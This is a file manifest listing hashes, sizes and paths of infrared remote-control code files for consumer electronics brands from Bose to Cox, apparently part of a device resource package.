+F:99a7451ed25d3422c77ec582bfec0744:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir +F:82750862ea8e6944ab5dbd829f92aab3:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir +F:61fa462dc3b47966bbe516a4c09cf169:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir +F:ec75070812b3fa93134e36b7ab4c4090:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir +F:3f2a4217ff55887f986392ee12d154bb:6653:infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir +F:8d249b2eb7e5338b8808ca0c9042d1d7:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir +F:90c4c9bacc28daf39ac47a61ec8ef9d3:2308:infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir +F:2c04bd575c196acb5196b6c9d4ed64df:134:infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir +F:822d658a3b40eee81097e7d359e12196:4388:infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir +F:ec9faaf5184373d78d3d773687c76b54:2250:infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir +F:c23524954eab424597a0e8119f3a0fab:3586:infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir +F:8c1708d0a0d0fcec8ea7252695aef663:2250:infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir +F:541fb0b75c3721724c720b91def0db24:4321:infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir +F:6c6809f23a1ec8e61827836e855d345e:412:infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir +F:361ef6245b30d2f6e8d516d40fcc5b55:12466:infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir +F:8e797af4e1c80ae633319fa59dd6344f:2176:infrared/_CSV-IRDB_/Bose/System/186,85.ir +F:cf31fd55d8e4000285acd4990b0c5afc:2128:infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir +F:ea95130a9641ace89965b5a5b8d2d696:1682:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir +F:756c85ae2420568692b52b283d1a1f8e:2534:infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir +D:infrared/_CSV-IRDB_/Boxlight/Projector +F:0f36245b79da9bcd261d5ffcc4d29c14:409:infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir +F:50fa9a8e6c35a35a05815dba4e5c2549:1538:infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir +F:2b9ce580b8e7369659b59d431a8df011:126:infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir +D:infrared/_CSV-IRDB_/Broksonic/VCR +F:5ad04c40ae6e587199fbeecded0c3f6e:604:infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir +D:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro +F:512a2b89a12725913abf7f1a14783c08:2133:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir +F:a7af30833639643dee884a3bd026560d:2499:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir +D:infrared/_CSV-IRDB_/Bush/Light +D:infrared/_CSV-IRDB_/Bush/Unknown_4400 +D:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi +D:infrared/_CSV-IRDB_/Bush/Unknown_WS6680 +F:0284f2d3440a25ebe0726e33022b3c71:492:infrared/_CSV-IRDB_/Bush/Light/29,-1.ir +F:76af928f64c445eb88230d6080da12c6:2957:infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir +F:0082ac42606bdecb658d6bc1f7edadbe:3069:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir +F:2e94dd080f5ffab953c766b6361fce82:3623:infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir +D:infrared/_CSV-IRDB_/ByDesign/LCD +F:b0f32e00aca14876ea4c3142e5cd5c91:678:infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir +D:infrared/_CSV-IRDB_/CAT/Unknown_CS-907 +D:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122 +D:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816 +F:5d29ef2dabb8f23e572c202e0764c4a3:3959:infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir +F:603cc223c5b8716608522fc2a2053838:3831:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir +F:fa266a789d306e6066db7bb6b6554be0:4286:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir +D:infrared/_CSV-IRDB_/CIS BOX/CD Player +D:infrared/_CSV-IRDB_/CIS BOX/DSS +D:infrared/_CSV-IRDB_/CIS BOX/DVD Changer +D:infrared/_CSV-IRDB_/CIS BOX/DVD Player +D:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL +D:infrared/_CSV-IRDB_/CIS BOX/LCD Projector +D:infrared/_CSV-IRDB_/CIS BOX/Plasma +D:infrared/_CSV-IRDB_/CIS BOX/Receiver +D:infrared/_CSV-IRDB_/CIS BOX/TV +D:infrared/_CSV-IRDB_/CIS BOX/VCR +F:aa0255cd81128860ce57300a63695c1a:3168:infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir +F:ae2162c873750192242c4523bfcd3059:2511:infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir +F:37eb89d8d2f905cdd94533b092efa98c:2894:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir +F:10e797e455aa91f02b41a24ebb39754b:239:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir +F:c285ac3fb55771b12f97eeb10464b855:3684:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir +F:de7c1622cd29121abe9277ec26b21716:215:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir +F:8c929b146b3d8988eb30e17645767a4c:1257:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir +F:0543520cee96dfde24a9974c625d164a:601:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir +F:9e5acd42d507608ab04d7356126a3d6e:1066:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir +F:9fb5c5dbd9007d614adbd07b55d537b7:1099:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir +F:bd290ef0bf14bbdb2edd0343f5d82090:1467:infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir +F:6e00813e880ac27efb9899e8e41db693:2295:infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir +F:defd5b9bcdab21bd44d5623913b42288:503:infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir +F:e16da6e70de0d1b324cce296a2b92291:317:infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir +F:33a0528f07e11e3bbb562eaf268079cd:2353:infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir +F:bcee06ff72ac63c0b930542be5333e0c:135:infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir +F:6ddcc129dfc4a1afdebe4bd197e3ce06:2763:infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir +F:b13cdaf621f28a2577776982d311de0d:1232:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir +F:e22ce7a6b28f3b97922490ddaeef9f0f:405:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir +F:6fb78f5bd58fd8b3b1c0a687ea3858a0:229:infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir +F:3753b4b7f113d55c89377b2e25a342f4:233:infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir +F:60ef0be29db90ffc7642b8d978a67e59:1421:infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir +F:7272c8dd3cefbe7d659760a35daebdea:322:infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir +F:7a163ea7991c1e1f30b2a63012609867:1111:infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir +F:2ed080b3c2c12aff4569be2a69a97f16:430:infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir +F:73a12454f32c5b6e4acd043b1fb48ef7:1920:infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir +D:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL +F:7f8f46ecd1a10da3bdadf8cd8a7af7eb:2387:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir +D:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher +F:3789b4ffe9282abc83203260bd39b85e:597:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir +D:infrared/_CSV-IRDB_/Calrad/Video Switcher +F:d34989b32bbf907a5b08bbbf97074fbd:831:infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir +D:infrared/_CSV-IRDB_/Calypso/Amplifier +D:infrared/_CSV-IRDB_/Calypso/Control System +F:b0afe9b1a855589d23d66d26f025345e:1225:infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir +F:38949134d3b811640f59e13d0f6a317a:4503:infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir +F:0ad564b233f9d808ef195ef7fda0e3f5:4503:infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir +F:ae6fdb16115fde1ae46ae1671052f455:2922:infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir +D:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player +D:infrared/_CSV-IRDB_/Cambridge Audio/Receiver +D:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio +D:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A +F:0e978d5255193bca1127832b72eef31e:4369:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir +F:6b15f0a571142b2ea03b4b0a091c4867:4366:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir +F:a321612262149a1bf8c630f11f322d71:6730:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir +F:62b1fcecbb98747a7de7469786946b6a:1243:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir +F:b9bce8351abe071ab9788b2ca07a13c9:3358:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir +F:88ff0e51cab01778fc4f92fde901eb67:1879:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir +F:7dd079bee04a58f46815009f458c9e32:3388:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir +F:2df8f4c5312286f06761c5271db5731f:1857:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir +D:infrared/_CSV-IRDB_/Camera/Camera Multi Plex +F:154dbd1790ec15e628c31b6aec1d5072:2210:infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir +D:infrared/_CSV-IRDB_/Canalsat/Satellite +D:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat +D:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD +F:152347e2778f7160da017082bb784b6b:2767:infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir +F:f85ab28796b61e6f2f0a48539068d57d:2838:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir +F:99e85d9eec61be2d2c590673628cba52:4268:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir +D:infrared/_CSV-IRDB_/Canon/Unknown_CAM +D:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77 +D:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80 +D:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100 +D:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1 +D:infrared/_CSV-IRDB_/Canon/Unknown_canon +D:infrared/_CSV-IRDB_/Canon/Video Projector +F:2f484652c73a2551e871e05f33969d16:1099:infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir +F:5c799dac6262c30e68a85c46b276d1a5:3387:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir +F:a893876c74deba8907173f56d91d41f2:2766:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir +F:20f26119aef2b818a36557d00d279b0c:796:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir +F:9922954daf00b89f4e26da4ce40718b7:1855:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir +F:b60341722ec0b6ef5bc39203842d6b65:2915:infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir +F:737e04e5fa821da1decd0e454fece8f8:2414:infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir +D:infrared/_CSV-IRDB_/Captain/Unknown_7100usb +F:e681ed79a0bc25b9bd4c80f2444ae21a:1645:infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir +D:infrared/_CSV-IRDB_/Carver/Amplifier +D:infrared/_CSV-IRDB_/Carver/CD Player +D:infrared/_CSV-IRDB_/Carver/Cassette Tape +D:infrared/_CSV-IRDB_/Carver/Laser Disc +D:infrared/_CSV-IRDB_/Carver/Pre-Amplifier +D:infrared/_CSV-IRDB_/Carver/Receiver +D:infrared/_CSV-IRDB_/Carver/Tuner +F:4b3258186192b07b9f3b8ba94ec7148a:3119:infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir +F:3fe0c73bbba973f3ae05afe9c90d4ab3:5555:infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir +F:e33189602578834a411846cea43dcbb3:2410:infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir +F:01e28f4f7f8cd5a492ccc14fa8d327f9:2231:infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir +F:b918af69d8d9c31833d610c180cd96bd:3249:infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir +F:7fd342b73d07b0845d3d7667273c0458:3402:infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir +F:751efeef67068ca2a6825ad734a4e1a3:2068:infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir +F:89cf4f6e519d0d1399fad0834258864b:792:infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir +F:c20b4bac10b079a26a908345d0e3147a:596:infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir +F:6741fb4e7f6cc82871f4b2947a16d61c:1032:infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir +F:3ebee5f97954b865df5d90078e3508f2:400:infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir +F:3d6dcc7b1e5cab1a666a461b91683e31:135:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir +F:2379a507a8fd85c452eb9fd727c93291:129:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir +F:9f4c0b40d0be60cb50fd715674da889e:1264:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir +F:f355a88811345d42f92806297c8541ed:599:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir +F:97250dd02d1073078d9f45865f80ff42:131:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir +F:195a2717aa71f014e6ec95805b5a5ac6:131:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir +F:1fb18ddfb795dae9e6431426b15b274c:142:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir +F:df4a10e643f5e3847801f74e8f5a65f6:129:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir +F:d702ad47f85dafcdc870093047120778:133:infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir +F:e500b2b66c4a07be74a8c83da2c9eeb5:228:infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir +F:c1fa4e0af83f0695a330125e281cdff0:3507:infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir +F:b9e702dacfe0cdce5bcdeee17ae0cf53:222:infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir +F:f5cd27af7bf3ec82f7a4eeee8f799aa3:228:infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir +F:3a18beeaf5e718ed58c1619fb4db1bf5:799:infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir +F:9e180ac12ba7988ddefa94baa4a2e1fa:2952:infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir +F:b9e702dacfe0cdce5bcdeee17ae0cf53:222:infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir +F:f5cd27af7bf3ec82f7a4eeee8f799aa3:228:infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir +D:infrared/_CSV-IRDB_/Cary Audio Design/CD Player +D:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player +D:infrared/_CSV-IRDB_/Cary Audio Design/Receiver +F:eb2dad2f54fa929ea992a708c3b2fe44:3361:infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir +F:73aef3f9e1484cd7d78dbe104e465a50:3257:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir +F:ce5087e64abc5160b1853708096087bc:3640:infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir +D:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40 +F:f880d853b503193d7b1495a4e5ced060:1552:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir +D:infrared/_CSV-IRDB_/Cce/Unknown_RC-27 +D:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b +D:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE +D:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE +F:d08e976594195ccd0ffb32478a47f26e:2296:infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir +F:5342f577ec74bc07c5842f4e23c2be64:2479:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir +F:e717263216dede3cdd0647daea411ef3:2783:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir +F:e85834da5e6efd28ac0393e7ec3f2d92:3403:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir +D:infrared/_CSV-IRDB_/Celadon/IR to RS232 +F:8ab49af7cd272f943f5c5681a70235a3:1051:infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir +D:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini +D:infrared/_CSV-IRDB_/Centrum/Unknown_rc5 +F:77add97df819081a7bd5b774eb14496c:3551:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir +F:4a4ae65309b5d67cd8a49d9315feb3d0:3634:infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir +D:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd +F:c8e18d82abce5c002bce343f1db7f45c:1661:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir +D:infrared/_CSV-IRDB_/Channel Master/Satellite +F:2184e2f7d6e0494026ffa71d93d62573:2958:infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir +D:infrared/_CSV-IRDB_/Channel Plus/Video Switcher +F:e94c4efe120a93ec62192d6c92abbc8e:529:infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir +D:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1 +F:528089b6f0b9fdfc16c08674b420e1f0:2605:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir +D:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift +F:38ddd012e2e0a519eb0a32df83ff1e8c:685:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir +F:30a8522d999575c8bb2deb2ac50ba486:1082:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir +D:infrared/_CSV-IRDB_/Cinemateq/DVD Player +D:infrared/_CSV-IRDB_/Cinemateq/Video Scaler +F:7dcb37dc2f8d751b89ad8dd6488e216b:3636:infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir +F:b957f55e35085de69e7801c049633732:3411:infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir +D:infrared/_CSV-IRDB_/Cisco/DVR +F:e74c096a8f0846a72cf42472fa26110d:1972:infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir +D:infrared/_CSV-IRDB_/Citation/Surround Processor +F:00d07939288ebe474df835d796c160af:3705:infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir +D:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C +F:0bfaad5a69f3fd496d1f735920c63d62:4394:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir +D:infrared/_CSV-IRDB_/Classe Audio/Amplifier +D:infrared/_CSV-IRDB_/Classe Audio/CD Player +D:infrared/_CSV-IRDB_/Classe Audio/CRCD +D:infrared/_CSV-IRDB_/Classe Audio/DVD Player +D:infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier +D:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier +D:infrared/_CSV-IRDB_/Classe Audio/SACD +D:infrared/_CSV-IRDB_/Classe Audio/Surround Processor +D:infrared/_CSV-IRDB_/Classe Audio/Surround Sound +D:infrared/_CSV-IRDB_/Classe Audio/Tuner +F:7d74151ddda558cef0ad72b4d15bf897:4615:infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir +F:b6fc9aea2f92def77f4223cc005f8249:1537:infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir +F:439040ede8b71c8539dfb5f9f6132bf4:983:infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir +F:d8658bab5a12262f598384f95d780379:1946:infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir +F:0c5564d9a090787c318831687431cac1:4127:infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir +F:2a425d46e5ccc98f082d87b1dad89256:4187:infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir +F:04f2d11bdc444b12ad90160ed1e15703:1777:infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir +F:6c6bd3b6064c5eee19a468ba7923931a:4747:infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir +F:82dde1c1660a34afa8d8989bf852c252:6009:infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir +F:1a8b903f8253a3d48cb4dc1b9d28ddb2:4505:infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir +F:e28612c73ab0bce1dc87c179e5dc6e8d:771:infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir +F:7f63d9da43c0cae892a295f3a621d96f:603:infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir +F:8e2a2b882bdd12449ec060bc6276c9dc:5354:infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir +F:91edb9ff3ec6f31d35f873ebd2301e64:603:infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir +F:3de6244eadbc9f398921667a973d4d18:3633:infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir +F:1cb4b81a1dec679c50663549584ab308:5368:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir +F:efcff9fae440e0fcd4d1476728e80760:1757:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir +F:340b164847003953545410d4a2d40dbe:4238:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir +F:5751115c082ead5fd73a72d2414bf7ac:6021:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir +F:f79d59e1524fc9c961501f42f031f1ae:6293:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir +F:8df8ea23a777784bae2ef6f68b2794d7:6807:infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir +F:91edb9ff3ec6f31d35f873ebd2301e64:603:infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir +F:c18720bb9b136714874e0dfebefd3e0b:17413:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir +F:05cf3b54244d71eebbf7fbf2e05a04ec:1745:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir +F:e0d9546c9df6e742aa95a4e380406bea:11981:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir +F:c18720bb9b136714874e0dfebefd3e0b:17413:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir +F:05cf3b54244d71eebbf7fbf2e05a04ec:1745:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir +F:9ed46111d9a40872cc8b578113832e34:5083:infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir +F:91edb9ff3ec6f31d35f873ebd2301e64:603:infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir +D:infrared/_CSV-IRDB_/Coby/DVD Player +D:infrared/_CSV-IRDB_/Coby/TV +F:def21aa7a060f6332a9776557b3bd77c:1408:infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir +F:6537206c5e384ac839ebc19cc6e78cf1:3337:infrared/_CSV-IRDB_/Coby/TV/0,127.ir +D:infrared/_CSV-IRDB_/Colorado Vnet/Music Server +F:c7118d3d0dffa6beb994a80c0775b7c3:1466:infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir +D:infrared/_CSV-IRDB_/Comcast/Cable Box +D:infrared/_CSV-IRDB_/Comcast/Digital Cable +D:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR +F:a21cbf912326f4f8ad2a77d5e0f85cfa:8269:infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir +F:01d1cb3edb4c473615e350fe6b6915d6:320:infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir +F:cd92418547cbfd616e93159f526f182b:128:infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir +F:f770ddb705415110ea0bd7eba4228023:881:infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir +F:3c13a9d4aa6e7e70c96cea9f431baadb:2198:infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir +F:decc9259d0749797a344fac5fc80942c:7309:infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir +F:cf819fd8e48d5d497619de9a4fc858cf:319:infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir +F:3c13a9d4aa6e7e70c96cea9f431baadb:2198:infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir +F:0159086e8bdbc2f932cfb98b75652345:3936:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir +F:cd92418547cbfd616e93159f526f182b:128:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir +D:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv +F:e647b2751819b8999c096dedb4d0283e:2593:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir +D:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200 +D:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300 +F:20452ab65ed81a9a52439e745d3617fb:3555:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir +F:6a0d5d4142d0dbb07cd47ca7e727404c:4620:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir +D:infrared/_CSV-IRDB_/Conrad/Unknown_006 +D:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8 +F:1b69dbe2a6c3e5d53a81c34eea2f02b3:2717:infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir +F:d4dacda2347d2028b341d224c9a04945:6099:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir +D:infrared/_CSV-IRDB_/Contour/Unknown_Contour25 +F:9892285cd118403341b889500472a496:2315:infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir +D:infrared/_CSV-IRDB_/Cool Sat/Satellite +F:759bb9b77c6f032141b47567221e3ac0:4248:infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir +D:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro +F:d9589d7872c6c3ba3d19067a32b14702:2952:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir +D:infrared/_CSV-IRDB_/Copland/CD Player +F:de240c5b811f3d24f8ac15eb55220f77:2879:infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir +F:def1dd73e27c8c3d4132d822218359ce:778:infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir +D:infrared/_CSV-IRDB_/Corvo/Relaybox +F:a45c16bb111d4b36ca71541006b8d70a:791:infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir +D:infrared/_CSV-IRDB_/Cox/Digital Cable +F:ee9c0b50bb010a54be9a2cdb91e630b0:2767:infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir +F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir 